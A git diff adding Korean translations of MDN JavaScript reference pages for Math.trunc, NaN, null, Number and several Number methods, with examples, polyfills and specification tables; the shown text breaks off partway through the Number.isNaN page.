+<pre class="brush: js">Math.tanh = Math.tanh || function(x){
+    var a = Math.exp(+x), b = Math.exp(-x);
+    return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (a + b);
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.tanh', 'Math.tanh')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.tanh")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}}</li>
+ <li>{{jsxref("Math.asinh()")}}</li>
+ <li>{{jsxref("Math.atanh()")}}</li>
+ <li>{{jsxref("Math.cosh()")}}</li>
+ <li>{{jsxref("Math.sinh()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/trunc/index.html b/files/ko/web/javascript/reference/global_objects/math/trunc/index.html
new file mode 100644
index 0000000000..0f63fd1e58
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/trunc/index.html
@@ -0,0 +1,96 @@
+---
+title: Math.trunc()
+slug: Web/JavaScript/Reference/Global_Objects/Math/trunc
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/trunc
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.trunc()</code></strong> 함수는 주어진 값의 소수부분을 제거하고 숫자의 정수부분을 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Math.trunc(<var>x</var>)
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자형</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>주어진 숫자의 정수부분</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Math의 유사함수 3개 : {{jsxref("Math.floor()")}}, {{jsxref("Math.ceil()")}} and {{jsxref("Math.round()")}} 와는 다르게, <code>Math.trunc()</code> 함수는 주어진 값이 양수이건 음수이건 상관없이 소수점 이하 우측부분을 제거하는 매우 단순한 동작을 합니다.</p>
+
+<p>함수인자는 암묵적으로 number형으로 변환되어 메소드에 전달됩니다.</p>
+
+<p><code>trunc()</code> 함수는 Math의 정적 메소드이기 때문에 사용자가 생성한 <code>Math</code> 객체의 메소드로 호출하는 것이 아닌 항상 <code>Math.trunc()</code> 형태로 호출해야 합니다. (<code>Math</code> 는 생성자가 아닙니다).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_Math.trunc()">Using <code>Math.trunc()</code></h3>
+
+<pre class="brush: js">Math.trunc(13.37);    // 13
+Math.trunc(42.84);    // 42
+Math.trunc(0.123);    //  0
+Math.trunc(-0.123);   // -0
+Math.trunc('-1.123'); // -1
+Math.trunc(NaN);      // NaN
+Math.trunc('foo');    // NaN
+Math.trunc();         // NaN
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">Math.trunc = Math.trunc || function(x) {
+  if (isNaN(x)) {
+    return NaN;
+  }
+  if (x &gt; 0) {
+    return Math.floor(x);
+  }
+  return Math.ceil(x);
+};</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.trunc', 'Math.trunc')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.trunc', 'Math.trunc')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.trunc")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/nan/index.html b/files/ko/web/javascript/reference/global_objects/nan/index.html
new file mode 100644
index 0000000000..4e6e3a8c42
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/nan/index.html
@@ -0,0 +1,91 @@
+---
+title: NaN
+slug: Web/JavaScript/Reference/Global_Objects/NaN
+tags:
+  - JavaScript
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/NaN
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>전역 <code><strong>NaN</strong></code> 속성은 Not-A-Number(숫자가 아님)를 나타냅니다.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-nan.html")}}</div>
+
+
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p><code>NaN</code>은 전역 객체의 속성입니다. 즉 전역 스코프의 변수입니다.</p>
+
+<p><code>NaN</code>의 초기값은 Not-A-Number(숫자가 아님)로, {{jsxref("Number.NaN")}}의 값과 같습니다. 최신 브라우저에서 <code style="font-style: normal;">NaN</code>은 설정 불가, 쓰기 불가 속성입니다. 그렇지 않다고 하더라도 덮어쓰는건 피하는게 좋습니다.</p>
+
+<p><code>NaN</code>을 반환하는 연산에는 다섯 가지 종류가 있습니다.</p>
+
+<ul>
+ <li>숫자로서 읽을 수 없음 (<code>parseInt("어쩌구")</code>, <code>Number(undefined)</code>)</li>
+ <li>결과가 허수인 수학 계산식 (<code>Math.sqrt(-1)</code>)</li>
+ <li>피연산자가 <code>NaN</code> (<code>7 ** NaN</code>)</li>
+ <li>정의할 수 없는 계산식 (<code>0 * Infinity</code>)</li>
+ <li>문자열을 포함하면서 덧셈이 아닌 계산식 (<code>"가" / 3</code>)</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="NaN_판별"><code>NaN</code> 판별</h3>
+
+<p><code>NaN</code>은 다른 모든 값과 비교(<code>==</code>, <code>!=</code>, <code>===</code>, <code>!==</code>)했을 때 같지 않으며, 다른 NaN과도 같지 않습니다. NaN의 판별은 {{jsxref("Number.isNaN()")}} 또는 {{jsxref("Global_Objects/isNaN", "isNaN()")}}을 사용하면 제일 분명하게 수행할 수 있습니다. 아니면, 오로지 NaN만이 자기자신과 비교했을 때 같지 않음을 이용할 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">NaN === NaN;        // false
+Number.NaN === NaN; // false
+isNaN(NaN);         // true
+isNaN(Number.NaN);  // true
+
+function valueIsNaN(v) { return v !== v; }
+valueIsNaN(1);          // false
+valueIsNaN(NaN);        // true
+valueIsNaN(Number.NaN); // true
+</pre>
+
+<p>그러나 <code>isNaN()</code>과 <code>Number.isNaN()</code>의 차이를 주의해야 합니다. <code>isNaN</code>은 현재 값이 <code>NaN</code>이거나, 숫자로 변환했을 때 <code>NaN</code>이 되면 참을 반환하지만, <code>Number.isNaN</code>은 현재 값이 <code>NaN</code>이어야만 참을 반환합니다.</p>
+
+<pre class="brush: js notranslate">isNaN('hello world'); // true
+Number.isNaN('hello world'); // false
+</pre>
+
+<p>덧붙여서, 일부 배열 메서드는 NaN을 찾을 수 없습니다.</p>
+
+<pre class="brush: js notranslate">let arr = [2, 4, NaN, 12];
+arr.indexOf(NaN);                      // -1 (false)
+arr.includes(NaN);                     // true
+arr.findIndex(n =&gt; Number.isNaN(n));   // 2</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-nan', 'NaN')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.NaN")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/null/index.html b/files/ko/web/javascript/reference/global_objects/null/index.html
new file mode 100644
index 0000000000..e69295c9f6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/null/index.html
@@ -0,0 +1,69 @@
+---
+title: 'null'
+slug: Web/JavaScript/Reference/Global_Objects/null
+tags:
+  - JavaScript
+  - Literal
+  - Primitive
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/null
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><strong><code>null</code></strong>은 JavaScript의 {{Glossary("Primitive", "원시 값")}} 중 하나로, 어떤 값이 의도적으로 비어있음을 표현하며 불리언 연산에서는 {{glossary("falsy", "거짓")}}으로 취급합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-null.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p><code>null</code>은 리터럴로서, <code>null</code>로 작성할 수 있습니다. <code>null</code>은 {{jsxref("undefined")}}와 같은 전역 객체의 식별자가 아닙니다. 대신 식별되지 않은 상태를 나타내며 해당 변수가 어떠한 객체도 가리키고 있지 않음을 표시합니다. API에서는 대개 객체를 기대했지만, 어떤 적합한 객체도 존재하지 않을 때 반환합니다.</p>
+
+<pre class="brush: js">// 정의되지 않고 초기화된 적도 없는 foo
+foo; //ReferenceError: foo is not defined
+
+// 존재하지만 값이나 자료형이 존재하지 않는 foo
+var foo = null;
+foo; //null
+</pre>
+
+<h3 id="null과_undefined의_차이"><code>null</code>과 <code>undefined</code>의 차이</h3>
+
+<p><code>null</code> 또는 <code>undefined</code>를 검사할 때, <a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">동등 연산자(==)와 일치 연산자(===)의 차이</a>를 주의하세요. 동등 연산자는 자료형 변환을 수행합니다.</p>
+
+<pre class="brush: js">typeof null          // "object" (하위호환 유지를 위해 "null"이 아님)
+typeof undefined     // "undefined"
+null === undefined   // false
+null  == undefined   // true
+null === null        // true
+null == null         // true
+!null                // true
+isNaN(1 + null)      // false
+isNaN(1 + undefined) // true</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-null-value', 'null value')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.null")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/epsilon/index.html b/files/ko/web/javascript/reference/global_objects/number/epsilon/index.html
new file mode 100644
index 0000000000..730fd8ae87
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/epsilon/index.html
@@ -0,0 +1,61 @@
+---
+title: Number.EPSILON
+slug: Web/JavaScript/Reference/Global_Objects/Number/EPSILON
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Number
+  - 속성
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/EPSILON
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>Number.EPSILON</code></strong> 속성(property)은 {{jsxref("Number")}} 형으로 표현될 수 있는 1과 1보다 큰 값 중에서 가장 작은 값의, 차입니다.</p>
+
+<p>당신은 이 정적 속성에 접근하기 위하여 {{jsxref("Number")}} 객체를 생성할 필요가 없습니다. <code>Number.EPSILON</code>을 쓰면 됩니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>이 <code>EPSILON</code> 속성은 대략 <code>2.2204460492503130808472633361816E-16</code> 또는 <code>2<sup>-52</sup></code>의 값을 갖습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="동일성_확인하기">동일성 확인하기</h3>
+
+<pre class="brush: js">const x = 0.2, y = 0.3, z = 0.1;
+let equal = (Math.abs(x - y + z) &lt; Number.EPSILON);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.epsilon', 'Number.EPSILON')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>최초로 정의됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.epsilon', 'Number.EPSILON')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Number.EPSILON")}}</p>
+
+<h2 id="관련된_문서">관련된 문서</h2>
+
+<ul>
+ <li>이 속성을 가지고 있는 {{jsxref("Number")}} 객체</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/index.html b/files/ko/web/javascript/reference/global_objects/number/index.html
new file mode 100644
index 0000000000..2a2592dcc8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/index.html
@@ -0,0 +1,177 @@
+---
+title: Number
+slug: Web/JavaScript/Reference/Global_Objects/Number
+tags:
+  - JavaScript
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number</code></strong> 객체는 숫자 값으로 작업할 수 있게 해주는 래퍼<sup>wrapper</sup> 객체입니다. <code>Number</code> 객체는 <strong><code>Number()</code> 생성자</strong>를 사용하여 만듭니다. 원시 숫자 자료형은 <strong><code>Number()</code> 함수</strong>를 사용해 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Number(<em>value</em>);
+var <em>a</em> = new Number('123'); // a === 123은 false
+var <em>b</em> = Number('123'); // b === 123은 true
+<em>a</em> instanceof Number; // true
+<em>b</em> instanceof Number; // false</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>생성할 객체의 숫자 값.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Number</code> 객체의 주된 용도는 다음과 같습니다.</p>
+
+<ul>
+ <li>만약 인수를 숫자로 변환할 수 없으면 {{jsxref("NaN")}}을 리턴합니다.</li>
+ <li>생성자로써 사용하지 않으면({{jsxref("Operators/new", "new")}} 연산자를 사용하지 않으면) <code>Number</code>를 사용하여 형변환을 할 수 있습니다.</li>
+</ul>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("Number.EPSILON")}}</dt>
+ <dd>두 개의 표현 가능한 숫자 사이의 최소 간격.</dd>
+ <dt>{{jsxref("Number.MAX_SAFE_INTEGER")}}</dt>
+ <dd>JavaScript에서 안전한 최대 정수. (<code>2<sup>53</sup> - 1</code>)</dd>
+ <dt>{{jsxref("Number.MAX_VALUE")}}</dt>
+ <dd>표현 가능한 가장 큰 양수.</dd>
+ <dt>{{jsxref("Number.MIN_SAFE_INTEGER")}}</dt>
+ <dd>JavaScript에서 안전한 최소 정수. (<code>-(2<sup>53</sup> - 1)</code>)</dd>
+ <dt>{{jsxref("Number.MIN_VALUE")}}</dt>
+ <dd>표현 가능한 가장 작은 양수. 즉, 0보다 크지만 0에 가장 가까운 양수.</dd>
+ <dt>{{jsxref("Number.NaN")}}</dt>
+ <dd>"숫자가 아님"을 나타내는 특별한 값.</dd>
+ <dt>{{jsxref("Number.NEGATIVE_INFINITY")}}</dt>
+ <dd>음의 무한대를 나타내는 특수한 값. 오버플로우 시 반환됩니다.</dd>
+ <dt>{{jsxref("Number.POSITIVE_INFINITY")}}</dt>
+ <dd>양의 무한대를 나타내는 특수한 값. 오버플로우 시 반환됩니다.</dd>
+ <dt>{{jsxref("Number.prototype")}}</dt>
+ <dd><code>Number</code> 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Number.isNaN()")}}</dt>
+ <dd>주어진 값이 <code>NaN</code>인지 확인합니다.</dd>
+ <dt>{{jsxref("Number.isFinite()")}}</dt>
+ <dd>주어진 값이 유한수 인지 확인합니다.</dd>
+ <dt>{{jsxref("Number.isInteger()")}}</dt>
+ <dd>주어진 값이 정수인지 확인합니다.</dd>
+ <dt>{{jsxref("Number.isSafeInteger()")}}</dt>
+ <dd>주어진 값이 안전한 정수(<code>-(2<sup>53</sup> - 1)</code>과 <code>2<sup>53</sup> - 1</code> 사이의 정수)인지 확인합니다.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Number.toInteger()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">전달 된 값을 평가하고 이를 정수(혹은 {{jsxref("Infinity", "Infinity")}})로 변환하는데 사용되지만, 제거되었습니다.</s></dd>
+ <dt>{{jsxref("Number.parseFloat()")}}</dt>
+ <dd>전역 객체 {{jsxref("parseFloat", "parseFloat()")}}와 동일한 값입니다.</dd>
+ <dt>{{jsxref("Number.parseInt()")}}</dt>
+ <dd>전역 객체 {{jsxref("parseInt", "parseInt()")}}와 동일한 값입니다.</dd>
+</dl>
+
+<h2 id="Number_인스턴스"><code>Number</code> 인스턴스</h2>
+
+<p>모든 <code>Number</code> 인스턴스는 {{jsxref("Number.prototype")}}를 상속합니다. <code>Number</code> 생성자의 프로토타입 객체는 모든 <code>Number</code> 인스턴스에 영향을 미치도록 수정할 수 있습니다.</p>
+
+<h3 id="메서드_2">메서드</h3>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/Number/prototype', 'Methods')}}</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Number_객체를_사용해_숫자형_변수에_할당"><code>Number</code> 객체를 사용해 숫자형 변수에 할당</h3>
+
+<p>다음 예제에서는 <code>Number</code> 객체의 속성을 사용하여, 여러 숫자 변수에 값을 할당합니다:</p>
+
+<pre class="brush: js">var biggestNum = Number.MAX_VALUE;
+var smallestNum = Number.MIN_VALUE;
+var infiniteNum = Number.POSITIVE_INFINITY;
+var negInfiniteNum = Number.NEGATIVE_INFINITY;
+var notANum = Number.NaN;
+</pre>
+
+<h3 id="Number의_정수_범위"><code>Number</code>의 정수 범위</h3>
+
+<p>다음 예제는 <code>Number</code> 객체가 표현할 수 있는 정수의 최소값과 최대값을 보여줍니다. (자세한 내용은 ECMAScript 표준, <em><a href="https://tc39.github.io/ecma262/#sec-ecmascript-language-types-number-type">6.1.6 The Number Type</a> 장을 참고하세요)</em></p>
+
+<pre class="brush: js">var biggestInt = 9007199254740992;
+var smallestInt = -9007199254740992;
+</pre>
+
+<p>JSON으로 직렬화한 데이터를 읽을 때, 위의 범위를 벗어나는 수는 JSON 분석기의 <code>Number</code> 형변환 시 손상될 수 있습니다. 이 때는 {{jsxref("String")}}을 대신 사용하는 것도 방법입니다.</p>
+
+<h3 id="Number를_사용해_Date_객체_숫자로_변환"><code>Number</code>를 사용해 <code>Date</code> 객체 숫자로 변환</h3>
+
+<p>다음 예제는 <code>Number</code>를 함수로 사용하여 {{jsxref("Date")}} 객체를 숫자 값으로 변환합니다.</p>
+
+<pre class="brush: js">var d = new Date('December 17, 1995 03:24:00');
+console.log(Number(d));
+</pre>
+
+<p><code>819199440000</code>가 기록됩니다.</p>
+
+<h3 id="숫자형_문자열에서_숫자로_변환">숫자형 문자열에서 숫자로 변환</h3>
+
+<pre class="brush: js">Number('123')     // 123
+Number('12.3')    // 12.3
+Number('123e-1')  // 12.3
+Number('')        // 0
+Number(null)      // 0
+Number('0x11')    // 17
+Number('0b11')    // 3
+Number('0o11')    // 9
+Number('foo')     // NaN
+Number('100a')    // NaN</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7', 'Number')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number-objects', 'Number')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>New methods and properties added: ({{jsxref("Number.EPSILON", "EPSILON")}}, {{jsxref("Number.isFinite", "isFinite")}}, {{jsxref("Number.isInteger", "isInteger")}}, {{jsxref("Number.isNaN", "isNaN")}}, {{jsxref("Number.parseFloat", "parseFloat")}}, {{jsxref("Number.parseInt", "parseInt")}})</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number-objects', 'Number')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Number")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Math")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/isfinite/index.html b/files/ko/web/javascript/reference/global_objects/number/isfinite/index.html
new file mode 100644
index 0000000000..13c76c4d8d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/isfinite/index.html
@@ -0,0 +1,90 @@
+---
+title: Number.isFinite()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isFinite
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isFinite
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.isFinite()</code></strong> 메서드는 주어진 값이 유한수인지 판별합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isfinite.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Number.isFinite(<var>value</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>유한수인지 판별할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>유한수 여부에 대한 {{jsxref("Boolean")}} 값.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>전역 함수 {{jsxref("isFinite", "isFinite()")}}와 비교했을 때, <code>Number.isFinite()</code> 메서드는 매개변수를 숫자로 변환하지 않습니다. 즉 값이 숫자이며 동시에 유한수일 때만 <code>true</code>를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">Number.isFinite(Infinity);  // false
+Number.isFinite(NaN);       // false
+Number.isFinite(-Infinity); // false
+
+Number.isFinite(0);         // true
+Number.isFinite(2e64);      // true
+
+Number.isFinite('0');       // false
+                            // 전역함수 isFinite('0')라면 true
+Number.isFinite(null);      // false
+                            // 전역함수 isFinite(null)라면 true
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">if (Number.isFinite === undefined) Number.isFinite = function(value) {
+    return typeof value === 'number' &amp;&amp; isFinite(value);
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.isfinite', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.isfinite', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Number.isFinite")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{jsxref("Number")}} 객체.</li>
+ <li>전역 함수 {{jsxref("isFinite")}}.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/isinteger/index.html b/files/ko/web/javascript/reference/global_objects/number/isinteger/index.html
new file mode 100644
index 0000000000..c2be9f56f1
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/isinteger/index.html
@@ -0,0 +1,96 @@
+---
+title: Number.isInteger()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isInteger
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isInteger
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.isInteger()</code> </strong>메서드는 주어진 값이 정수인지 판별합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isinteger.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Number.isInteger(v<var>alue</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>정수인지 확인하려는 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값의 정수 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>매개변수의 값이 정수면 <code>true</code>를, 아니면 <code>false</code>를 반환합니다. 값이 {{jsxref("NaN")}}이거나 {{jsxref("Infinity")}}여도 <code>false</code>를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre>Number.isInteger(0);         // true
+Number.isInteger(1);         // true
+Number.isInteger(-100000);   // true
+Number.isInteger(99999999999999999999999); // true
+
+Number.isInteger(0.1);       // false
+Number.isInteger(Math.PI);   // false
+
+Number.isInteger(NaN);       // false
+Number.isInteger(Infinity);  // false
+Number.isInteger(-Infinity); // false
+Number.isInteger('10');      // false
+Number.isInteger(true);      // false
+Number.isInteger(false);     // false
+Number.isInteger([1]);       // false
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">Number.isInteger = Number.isInteger || function(value) {
+  return typeof value === "number" &amp;&amp;
+    isFinite(value) &amp;&amp;
+    Math.floor(value) === value;
+};
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.isinteger', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.isinteger', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Number.isInteger")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{jsxref("Number")}} 객체.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/isnan/index.html b/files/ko/web/javascript/reference/global_objects/number/isnan/index.html
new file mode 100644
index 0000000000..ff5ae793de
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/isnan/index.html
@@ -0,0 +1,100 @@
+---
+title: Number.isNaN()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isNaN
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isNaN
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Number.isNaN()</code></strong> 메서드는 주어진 값이 {{jsxref("NaN")}}인지 판별합니다.</span> 기존부터 존재한 전역 {{jsxref("isNaN", "isNaN()")}} 함수의 더 엄격한 버전입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isnan.html", "taller")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Number.isNaN(v<var>alue</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>{{jsxref("NaN")}}인지 판별할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값의 유형이 {{jsxref("Number")}}이고 값이 {{jsxref("NaN")}}이면 <code>true</code>, 아니면 <code>false</code>.</p>
+
